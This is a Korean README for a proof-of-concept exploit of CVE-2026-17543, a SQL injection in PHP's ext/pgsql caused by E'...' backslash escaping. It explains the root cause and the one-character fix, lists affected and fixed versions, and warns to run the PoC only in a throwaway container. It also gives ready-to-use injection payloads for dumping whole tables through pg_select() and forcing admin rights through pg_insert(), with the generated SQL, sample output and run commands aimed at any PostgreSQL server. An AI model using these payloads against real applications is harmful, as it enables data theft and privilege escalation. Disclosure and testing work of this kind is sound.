
CVE-2026-17543용 PoC 익스플로잇: 백슬래시 탈출을 통한 PHP ext/pgsql의 SQL 인젝션, PostgreSQL용 데이터 유출 및 관리자 권한 상승 페이로드.
ext/pgsql에서 E'...' 백슬래시 탈출을 통한 SQL 인젝션CVE-2026-17543(CVSS 9.8 Critical, CWE-89)에 대한 개념 증명(PoC)으로, PHP의 절차적 PostgreSQL 확장 기능에 존재하는 SQL 인젝션 취약점입니다.
pg_insert(), pg_select(), pg_update(), pg_delete() 및 pg_convert()는 모두 문자열 값을 php_pgsql_convert()로 전달하며, 이 함수는 다음과 같이 동작합니다:
PQescapeStringConn()으로 값을 이스케이프합니다. standard_conforming_strings = on(PostgreSQL 9.1 이후 기본값)에서는 '를 ''로 두 배로 만들고 \는 그대로 둡니다(표준 '...' 리터럴에서는 올바른 동작).php_pgsql_add_quotes()로 감싸 일반 '...' 대신 이스케이프 문자열 상수 E'...'로 래핑합니다.E'...' 내부에서는 백슬래시가 이스케이프 문자이므로 따옴표 앞에 \를 두면 따옴표 두 배 만들기가 무력화됩니다. \'는 리터럴 ' 하나가 되고, 이스케이퍼가 두 배 리터럴을 만들기 위해 넣은 두 번째 따옴표는 이제 문자열을 일찍 종료시킵니다. 그 뒤의 모든 것은 원시(raw) 상태로 주입된 SQL이 됩니다.
공식 수정(커밋 ab048bd83b57)은 단 한 글자입니다. E'...' 대신 '...'를 출력하는 것입니다.
영향을 받지 않음: pg_query_params()(실제 매개변수 바인딩) 및 PDO_PGSQL 준비된 구문(prepared statements) / PDO::quote() — 이들은 php_pgsql_add_quotes()를 호출하지 않는 별도의 코드 경로를 사용합니다.
zzz\' OR 1=1 --
(작은따옴표 바로 앞에 백슬래시 하나)
... WHERE "name"=E'zzz\'' OR 1=1 --'를 생성합니다 → OR 1=1이 SQL로 파싱되어 모든 행을 반환합니다.... WHERE "name"='zzz\'' OR 1=1 --'를 생성합니다 → 백슬래시가 일반 문자이므로 OR 1=1 --가 문자열 리터럴 내부에서 흡수되어 아무것도 일치하지 않습니다.두 번째 페이로드(eve\', true) --)는 pg_insert()를 통한 권한 상승을 보여주며, admin 열을 true로 강제합니다.
docker compose up --build --abort-on-container-exit
PHP version: 8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------
[1] pg_select() data exfiltration
payload (runtime): zzz\' OR 1=1 --
generated SQL:
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
rows returned: 2
[!] INJECTION - leaked every row in the table
[2] pg_insert() privilege escalation
name payload (runtime): eve\', true) --
generated SQL:
INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
inserted row admin flag: 't'
[!] INJECTION - admin column forced to TRUE
Done.
패치된 빌드에서는 생성된 SQL에 E가 없는 '...'가 포함되며, [1]은 rows returned: 0 / no injection을 보고하고 [2]는 admin flag: 'f'를 보고합니다.
PGCONN이 임의의 PostgreSQL을 가리키도록 설정하고 취약한 PHP로 실행합니다:
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php
ext/pgsql(--with-pgsql / pgsql 확장)로 컴파일되어 있어야 합니다.standard_conforming_strings = on 사용).docker compose down -v
여기서 사용하는 PHP 이미지는 정의상 CVE-2026-17543에 대해 패치되지 않은 상태입니다. 격리된 일회용 컨테이너에서만 실행하고, 작업이 끝나면 docker compose down -v를 실행하세요. 이 PoC를 중요한 데이터베이스에 절대 사용하지 마세요.
| 브랜치 | 취약 | 수정 |
|---|
| PHP 8.2 | < 8.2.33 | 8.2.33 |
| PHP 8.3 | < 8.3.33 | 8.3.33 |
| PHP 8.4 | < 8.4.24 | 8.4.24 |
| PHP 8.5 | < 8.5.9 | 8.5.9 |
| 파일 | 설명 |
|---|
poc.php | pg_select 데이터 유출 및 pg_insert 권한 상승 변형을 모두 시연하며, 생성된 SQL을 출력하여 E'...' 토큰이 보이도록 합니다 |
Dockerfile | ext/pgsql이 포함된 취약한 PHP CLI 이미지(php:8.4.23-cli)를 고정합니다 |
docker-compose.yml | PostgreSQL 16 + 취약한 PHP 컨테이너를 기동하고 poc.php를 실행합니다 |